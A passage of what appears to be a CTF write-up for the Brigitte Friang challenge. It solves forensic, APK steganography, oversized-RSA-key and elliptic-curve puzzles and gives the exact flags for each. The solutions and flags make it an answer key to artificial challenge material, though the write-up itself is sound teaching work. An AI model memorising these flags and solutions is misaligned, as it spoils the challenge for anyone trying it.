vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,0847498 30,8131067 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1307551 30,8148758 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1304118 30,8340395 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1084391 30,8319759 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] [...]
We found a website that would help us visualise those coordinates. For each custom location, we entered the set of points, traced lines starting from the first point to the last and obtained these results:
Given how certain symbols appeared several times, we quickly identified the DGSESIEE pattern, that can be obtained by rotating the letters 90° counterclockwise and then mirroring them.
The flag was: DGSESIEE{OC34N}.
The instructions for this mission are:
Nos agents ont trouvé dans le camion de livraison une clef USB. Nous vous transférons le filesystem de cette dernière et espérons que votre grande capacité de réflexion pemettra de révéler les secrets les plus sombres d'Evil Country ! Le flag est de la forme DGSEESIEE{x} avec x une chaine de caractères. (Attention au DGEESIEE, une erreur de typo s'est glissée dans le flag) message (SHA256=3889febebd6b1d35c057c3ba3f6f722798f029d6d0321b484305922a3d55d4d8) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/message
The provided file seems to be a disk image:
$ file message message: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", Media descriptor 0xf8, sectors/track 32, heads 64, hidden sectors 7256064, sectors 266240 (volumes > 32 MB), FAT (32 bit), sectors/FAT 2048, reserved 0x1, serial number 0xccd8d7cd, unlabeled
This image can be mounted as a local resource and delivers the first steps of the challenge:
# mkdir /tmp/disk # mount -o loop message /tmp/disk/ # ls -lh /tmp/disk/ total 37M -rwxr-xr-x 1 root root 532 oct. 15 17:48 readme -rwxr-xr-x 1 root root 37M juil. 8 16:02 steganausorus.apk # cat /tmp/disk/readme Bonjour evilcollegue ! Je te laisse ici une note d'avancement sur mes travaux ! J'ai réussi à implémenter complétement l'algorithme que j'avais présenté au QG au sein d'une application. Je te joins également discrétement mes premiers résultats avec de vraies données sensibles ! Ils sont bons pour la corbeille mais ça n'est que le début ! Je t'avertis, l'application souffre d'un serieux defaut de performance ! je m'en occuperai plus tard. contente-toi de valider les résultats. Merci d'avance For the worst, QASKAB
The mention of the trash bin in the message leads to further investigation, and a file named flag.png:
# find /tmp/disk/ /tmp/disk/ /tmp/disk/readme /tmp/disk/steganausorus.apk /tmp/disk/.Trash-1000 /tmp/disk/.Trash-1000/info /tmp/disk/.Trash-1000/info/flag.png.trashinfo /tmp/disk/.Trash-1000/files /tmp/disk/.Trash-1000/files/flag.png # file /tmp/disk/.Trash-1000/files/flag.png /tmp/disk/.Trash-1000/files/flag.png: PNG image data, 1000 x 514, 8-bit/color RGBA, non-interlaced
Note: the file can also be extracted using binwalk
directly:
$ binwalk message | grep -i png 2114048 0x204200 PNG image, 1000 x 514, 8-bit/color RGBA, non-interlaced
As the image flag.png gives no extra hint (for now), the focus remains on the Android application, which can be disassembled:
$ apktool d steganausorus.apk -o steg I: Using Apktool 2.3.4-dirty on steganausorus.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/XXX/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
The result is quite huge:
$ du -sch steg 116M steg 116M total
Some assets refers to “flutter”:
$ find steg/assets/ steg/assets/ steg/assets/flutter_assets steg/assets/flutter_assets/isolate_snapshot_data steg/assets/flutter_assets/LICENSE steg/assets/flutter_assets/vm_snapshot_data steg/assets/flutter_assets/AssetManifest.json steg/assets/flutter_assets/packages steg/assets/flutter_assets/packages/cupertino_icons steg/assets/flutter_assets/packages/cupertino_icons/assets steg/assets/flutter_assets/packages/cupertino_icons/assets/CupertinoIcons.ttf steg/assets/flutter_assets/kernel_blob.bin steg/assets/flutter_assets/fonts steg/assets/flutter_assets/fonts/MaterialIcons-Regular.ttf steg/assets/flutter_assets/FontManifest.json
With the help of a quick search, it appears that the kernel_blob.bin file is linked to Flutter, a Google’s UI toolkit for building beautiful, natively compiled applications for mobile, web, and desktop from a single codebase.
Previous write-ups for the same kind of challenge provide some help: the kernel contains source code, and the keyword MyHomePageState can be a good starting point for identifying the main code of the application.
Moreover, it seems to exist only one interesting source file for the current challenge, which saves plenty of time:
$ strings -a kernel_blob.bin | grep -o 'file:///.*dart$' [...] file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/process-3.0.13/lib/src/interface/process_manager.dart file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/process-3.0.13/lib/src/interface/process_wrapper.dart file:///D:/stegapp/stegapp/lib/main.dart file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/typed_data-1.1.6/lib/typed_buffers.dart file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/typed_data-1.1.6/lib/typed_data.dart [...] $ strings -a kernel_blob.bin | grep -o 'file:///.*dart$' | wc -l 913
The line breaks of the extracted source code can be converted using the dos2unix
tool if needed.
The challenge boils down to reading code:
String stringtowrite=""; stringtowrite+=offsetarray.length.toRadixString(2).padLeft(datasizebit,'0')+lenghtsizebit.toRadixString(2).padLeft(datasizebit,'0'); offsetarray.forEach((listofdata){ // listofdata.forEach((data){ // print(data.toRadixString(2).padLeft(datasizebit,'0')); stringtowrite+=listofdata[0].toRadixString(2).padLeft(datasizebit,'0')+listofdata[1].toRadixString(2).padLeft(lenghtsizebit,'0'); });
The important piece of code is:
String Megastringtosearch= MegaString.substring((MegaString.length/4).round());
Thus, the first quarter of the image is skipped while searching for patterns.
The Image Class documentation is helpful to understand how the API works without running the application:
operator [](int index) → int Get a pixel from the buffer. No range checking is done. getPixel(int x, int y) → int Get the pixel from the given x, y coordinate. Color is encoded in a Uint32 as #AABBGGRR. No range checking is done.
A zoom at the upper left corner of the flag.png confirms that something is encoded inside the image data:
The unsteg.py Python script revert the hidding process:
$ python3 ./unsteg.py [i] Size: 1000 x 514 [i] Pixel width: 4 [i] Offset data size: 12336000 [i] Data size bit: 24 [i] Offset array: 8 [i] Length size bit: 8 [i] Hidden: 19 bits at offset 3318975 [i] Hidden: 24 bits at offset 7252546 [i] Hidden: 26 bits at offset 4093570 [i] Hidden: 18 bits at offset 3084414 [i] Hidden: 22 bits at offset 4123951 [i] Hidden: 24 bits at offset 5062908 [i] Hidden: 22 bits at offset 7279338 [i] Hidden: 13 bits at offset 3102140 [i] Total: 168 [!] Flag: DGSEESIEE{FL4GISH3R3}
The description of this challenge is:
Un de nos agents est parvenu à dérober une clé privée et un fichier chiffré à Evil Gouv. Retrouvez l'information, avec un peu d'imagination Le flag est juste une chaîne de caractères (sans le DGESIEE{}) private.pem (SHA256=84f2c60b3d796a01e7762777923a8921433bce8ead72bc94fa26d1676ecef637) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/private.pem EVIL-FILE.txt.enc (SHA256=aee3dd5b398689bb73a207a52d56a130bca8fb30e3261e419ab22026b447b5ab) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/EVIL-FILE.txt.enc
We are given a private key and an encrypted message.
The size of the key is really surprising:
$ openssl pkey -in private.pem -noout -text | head -1 RSA Private-Key: (10375 bit, 2 primes)
The size is 10375-bit long, which means 10375 / 8 = 1296.875 bytes.
Curiously, the encrypted file has the same size:
$ ls -l key.raw EVIL-FILE.txt.enc -rw-r--r-- 1 XXXXX XXXXX 1297 oct. 21 14:42 EVIL-FILE.txt.enc
The first thing to do is to use the key to read the message; unfortunately it doesn’t give us much information.
$ openssl rsautl -decrypt -in EVIL-FILE.txt.enc -out /dev/stdout -inkey private.pem 221 x 7
When looking at the info contained inside the private key, we find that one parameter is looking pretty weird in decimal.
$ cat private.pem | openssl rsa -text -noout [...] exponent1: 01:fe:6f:62:70:d2:01:6f:a0:09:2f:bc:3d:f8:40: f6:0c:eb:5a:ff:b1:cb:46:c6:ae:11:a9:f8:ba:16: bc:bc:10:9a:ab:65:e3:b2:e1:8f:fb:e5:73:b9:af: 1c:e7:34:96:67:b2:c8:49:95:49:83:41:9c:91:44: 58:b1:e5:a2:2f:bf:43:b6:65:d6:bb:ea:83:fc:8e: 5f:c3:50:bf:39:b1:25:02:2c:8b:af:94:f1:8c:f1: a5:96:c5:79:81:33:6c:42:e0:2b:61:7c:25:8e:3c: a6:d7:25:ca:5b:e5:56:76:1b:77:fc:b6:41:c3:7b: 40:4b:7d:2d:14:4a:13:09:fd:8e:98:19:dd:fc:5c: d2:01:82:a7:06:cc:93:00:20:c9:aa:af:fd:11:f3: 33:e9:bf:f9:02:9c:0f:6b:ee:db:36:53:eb:30:e0: c6:59:17:de:0a:5f:4a:44:6a:07:ec:96:e9:18:35: cc:f9:f7:35:0b:48:03:c5:4b:b2:ae:42:77:8c:0f: 70:ee:78:c7:fb:70:92:5b:56:c0:08:80:c2:0c:53: 4b:39:14:f0:74:b3:06:8a:b3:c8:47:c0:d7:e7:ee: 6c:31:64:e0:f6:43:e8:6f:ef:b7:4e:74:82:1b:65: fe:07:67:6d:82:29:13:f6:9d:f3:ba:88:43:64:88: 58:ec:08:9a:58:78:87:bf:30:0d:3e:5b:3a:0d:7c: c0:df:41:c2:cc:65:6e:86:ca:cc:94:13:e8:d6:d7: 22:85:bf:ed:2e:d1:c8:b5:38:93:70:a2:35:f5:c4: 98:2a:f0:b3:38:15:67:88:7a:42:4d:96:c7:6e:5f: 8d:e0:9e:0c:56:cc:e8:3b:ac:4c:b7:c8:2f:8d:f9: de:f0:1c:fc:e3:82:9a:ab:b8:23:86:9f:27:6c:b3: 07:ae:00:26:b0:af:56:db:2b:db:3e:38:dc:73:ad: ee:76:3c:68:86:2b:7e:56:2a:f2:88:d7:64:b2:ed: bf:da:d7:f2:94:9a:ef:51:d5:19:27:29:3b:05:01: 07:49:c9:84:83:f2:cb:aa:6e:13:08:66:83:c8:35: f3:0a:59:fe:0a:52:4a:61:7d:fc:f6:13:bf:d4:35: 88:70:bb:a8:65:19:33:29:7d:06:f2:07:01:7e:25: c5:a9:40:c3:4e:94:89:5e:46:c4:b9:c6:0a:f9:ed: 5a:51:81:a5:7c:d1:f8:db:4c:ee:a1:7f:3b:3b:7e: 0b:da:3a:21:6a:de:52:d6:95:bc:87:31:62:88:f6: 13:0e:a0:c2:9e:61:cc:e7:77:31:5e:49:91:bc:42: 9c:e2:a0:42:66:79:05:f2:bd:b6:e9:db:eb:d3:86: 83:57:ca:71:92:94:fc:fe:07:49:df:3d:e3:65:73: c0:64:b2:e1:23:82:f8:15:b5:41:cb:23:32:9b:59: 7a:7e:01:af:f4:59:da:46:be:b3:e8:ab:72:42:bd: e6:ef:04:06:b7:5a:21:14:61:7b:91:cb:c9:b4:be: b2:8b:9f:50:c6:37:6f:14:ad:06:ff:47:eb:9d:97: 6e:09:25:19:ce:78:91:4e:08:0b:ec:ff:f3:42:ab: a8:ae:ce:0e:08:50:24:33:84:ee:b8:a1:d4:5f:0e: 4f:df:a3:fe:db:c6:74:7a:a5:62:39:3a:87:c6:a7: 0f:e2:b9:a4:49:8f:df:dc:ed:8f:cc:a3:7b:3a:1d: 16:6f:55:e5 [...] $ python3 >>> p = """02:91:09:7c:c4:99:b5:bb:b9:da:2a:e2:ff:1b:84: ... b3:ea:15:a9:1c:21:8f:f4:fc:ff:59:1b:a2:e6:76: ... f5:67:a2:b6:6b:43:0f:61:38:28:74:09:0c:74:8b: ... 92:94:93:d0:50:a8:0f:06:98:3e:f4:52:04:6b:48: ... aa:6c:56:38:d8:2c:bf:4c:00:96:c5:5e:65:95:31: ... f8:81:af:dd:75:91:8e:7b:84:8a:27:00:41:d1:2c: ... a6:ef:40:73:8f:12:e7:24:84:21:1c:fd:54:8d:e2: ... 32:ec:67:58:45:81:b9:f7:4d:12:2c:23:44:f6:c3: ... 73:5e:3e:69:55:f2:23:a3:af:f4:af:61:c9:62:d6: ... 0c:28:d9:fa:f5:87:8e:63:8e:17:ba:dc:b1:09:e2: ... f7:96:78:4e:4a:4c:e6:53:99:2e:6f:70:2a:04:c9: ... 5c:65:3c:90:60:af:ce:23:d7:79:ae:cc:f4:09:ee: ... 10:d5:36:3f:81:d7:2f:f1:c1:fe:57:2c:34:ba:27: ... a0:55:ce:d1:4a:49:a9:12:f0:fb:a4:54:f7:a6:15: ... 9e:56:1a:0d:9f:d1:f5:82:92:2b:e1:ff:7e:d7:a8: ... 02:55:05:30:d6:a9:d7:9d:16:97:a8:73:34:d3:19: ... 85:0a:46:51:3d:e3:7d:ca:87:e9:31:ed:c9:b3:5e: ... e3:26:97:dc:34:96:8f:e7:04:fa:df:97:60:ac:6f: ... ef:e3:db:1f:d1:8a:a8:be:63:df:ef:6e:0c:9f:d0: ... 04:cf:b1:41:3a:64:18:c5:fe:0d:6b:c7:c2:41:47: ... 04:30:ea:e7:27:b7:07:cd:91:37:0e:89:5f:59:2e: ... df:82:65:e4:da:43:f4:6b:0f:89:eb:bb:36:62:75: ... 04:aa:7d:f2:d4:33:eb:c2:30:53:80:0f:08:c2:18: ... b3:2a:7c:8a:03:df:2c:a1:c1:d3:23:ca:5a:8c:6a: ... 90:e3:e3:27:14:c9:44:4c:c1:52:ca:99:f2:98:c3: ... fd:1b:57:7c:5e:12:b4:40:2e:3b:b1:da:fb:f0:40: ... 95:0b:f0:d3:a6:4b:a3:fd:ff:5d:1f:5f:7b:f9:e5: ... 01:66:39:e7:c9:4b:cc:02:2c:8a:83:99:41:6f:70: ... 76:21:96:8e:7f:f1:51:bd:72:fe:98:f1:b0:0a:03: ... 22:f5:dd:92:0a:e1:47:33:a8:c4:8a:63:09:76:74: ... 0c:aa:40:36:b2:a7:be:d2:81:3b:45:f3:36:53:bb: ... ef:c0:27:3c:c6:44:26:32:aa:77:c0:ea:cc:db:25: ... ae:3a:0b:16:92:61:38:30:b1:46:3f:f3:b0:fc:df: ... d0:e2:0c:64:f5:25:80:67:f5:82:7a:09:2e:01:13: ... e5:3d:f7:0e:8e:72:d1:ba:02:ac:a8:37:ec:f3:46: ... 4f:de:4e:e3:cd:f0:df:9c:ca:e4:0e:4e:0b:6f:c6: ... 58:df:b5:e5:57:5d:f7:d1:39:3e:36:e2:23:49:be: ... 23:f7:2a:5a:f1:e5:3b:8e:23:03:ed:a7:80:cf:ec: ... 68:31:90:f1:0d:de:56:a5:00:92:51:a1:6d:1b:65: ... f5:29:8e:cd:6c:e3:df:2b:6b:56:e1:6b:26:5b:7c: ... 52:3b:4e:11:fe:0a:38:3b:7f:7e:4d:a8:12:e8:f9: ... 8c:71:bc:12:b4:0d:65:66:e4:e2:03:fc:6c:d0:51: ... 5e:01:08:8d:86:cd:c6:cd:f5:24:9b:00:92:91:12: ... 6a:65:7d:13""".replace(':','').replace(' ','').replace('\n','') >>> int(p, 16) 8888887778888888877777777788888888777777888888888877777788887777777777887777777777888877777777888888888777778888888888877788888888877777788888887778888888887777778888888888777777888888887778888888888887777778888888877788888888888111988888881111111111138889111111111888887111111118883111111111188111111111188881111111111188889111111118888888811118888888111111119888888111988888891111111118888871111111111888888111188888888711111111888888811118888888888118111888888319888888871188888888881188881138888888888713888888888888888831188888118888888811888888888811988888311811888889118888888888888118111888888888888811888811188888888888888118311888888111888888888888111811888888888118883198888831188888888311888888891188888113111111188871111111118888888811388888811888888888118888811111888888118881188888113111111188888118883198888888888911888881188888888888888118889118888811311111118888118881188888887111111111188883138888888811888888111888888811888888311887118888888888888811388888881188888888113888888888811881117319119188811888888811887111111111188888881118888888118888888888888111111111188881188888891181117313117188883118888888111888111733311111788811117889188887111339111888311899999338888811388888888118333311113888119997311188999111311918888111939111183118888888111888111178891888881111333331187118888888111888811133911178399113111718888997888888889978879999999977888879999999998888887999997888879999999999888879788888888799999999778888879999997788888888889988888887999997788997888888889978799999999988888877799999778797888888889978888799999778888888889998611
The solution is actually to print this number in a rectangle of 223 x 7 characters. We tried at first with a 221 x 7 but p is actually 14 digits longer than 221 x 7 so it fits perfectly in a 223 x 7 rectangle.
We can then read the flag is a sort of ASCII-art:
>>> p = str(int(p, 16)) >>> for i in range(7): ... print(p[223*i:223*(i+1)])
And the flag is: AD26F7D346A2CA64
The background of the mission is this one:
Nous avons intercepté 2 fichiers (VX_elliptique.pdf et livres_Friang.pdf) émis par un sous-marin d'Evil Gouv. La référence à Brigitte Friang ne peut être une coïncidence. Nous savons de source sure qu'Eve Descartes a été enlevée par Evil Gouv et est retenue dans un de leurs sous-marins dans l'océan Atlantique. Ce doit être elle qui a envoyé ces fichiers. Grâce à une de ses crises mathématiques, elle aura sûrement caché l'identification du sous-marin dans ces fichiers. Votre mission est de retrouver l'identification du sous-marin. Le flag est de la forme DGSESIEE{x} avec x le code d'identification VX_elliptique.pdf (SHA256=7995fc6529494734bae9e2a0b1800632bf9ebd41cbfab19ce23d834eabcf7523) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/VX_elliptique.pdf livres_Friang.pdf (SHA256=222a463aeb09ef4c0599b9448184e616462459baea327827469bc7b0dd738b75) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/livres_Friang.pdf
Two files are given, VX_elliptique.pdf
and livres_Friang.pdf
. The second one is password protected and the first one contains clues to find the password.
This challenge is about an elliptic curve in the integer field where n=57896044618658097711785492504343953926634992332820282019728792003956564819949
. The equation of the curve (noted (E)
for future reference) is but A
is unknown.
A
Given the point P(x, y)
on the curve, the goal is to find A
such that the curve equation is satisfied, i.e. find A
such that .
To compute A
, it is necessary to find the inverse of in . Luckily, since Python 3.8, the pow
function allows for modular inversion and pow(x*x,-1,n)
yields the inverse of .
n = 57896044618658097711785492504343953926634992332820282019728792003956564819949 x = 54387532345611522562080964454373961410727797296305781726528152669705763479709 y = 14361142164866602439359111189873751719750924094051390005776268461061669568849 A = pow(x*x,-1,n)*(y*y-x*x*x-x)%n
As a result, A=486662
.
The challenge states that there exists and such that and with:
However, the values of x
are unknown.
Because the points are multiples of P(x,y)
they are on the elliptic curve and therefore the coordinates satisfy the elliptic curve equation (E)
. Finding the values of x
is equivalent to solving where . It is a problem of factoring a polynomial over .
This can be done with Python using the sympy
library. Note that the previous constants A
and n
have been defined above.
from sympy import poly, ground_roots from sympy.abc import x # define the constants y1 = 43534902453791495272426381314470202206884068238768892013952523542894895251100 y2 = 30324056046686065827439799532301040739788176334375034006985657438931650257514 # define the polynomial f = poly(x**3+A*x*x+x-(y1*y1)%n, modulus=n) # compute the roots roots = ground_roots(f, modulus=n)
This yields 3 possible values of noted u, v, w
:
u = 54387532345611522562080964454373961410727797296305781726528152669705763479709 v = 48377962721867712227812115825967814866900072246814115371447647755178792218507 w = 13026594169836960633677904728346131575642115122520666941481783583028573455020
Note that the roots returned by the ground_roots
function can be negative, in which case they are taken modulo n
.
The same calculation for yields only one root :
r = 24592060322915955458376742075654918743307884467086758475495911637571571854426
z
z
is defined as a solution to the following system:
This system implies that there must exist integers p
and q
such that . One particular solution can be found using the Bezout Identity. It is easy to notice that . Multiplying this equation by yields a particular solution with and . With this solution, taking the first possible root for u
, a solution for z
is . If this solution is negative it can be taken modulo .
Finally, one possible solution for the password is:
z = 1626912004825687681266928944940137740110044614947501502667974700957265876831665835249437745227202257555252761324145945972681589648893511804029315415851794
Using this value as password unlocks the PDF and reveals the flag: DGSESIEE{BF-2703-9020-RTQM}.
The Brigitte Friang challenge was a great opportunity to sharpen our technical skills and to practice team building.
Glad to have been able to reach the end of this new french challenge all together!
All the materials needed to replay this CTF are available from the Risk&Co repository.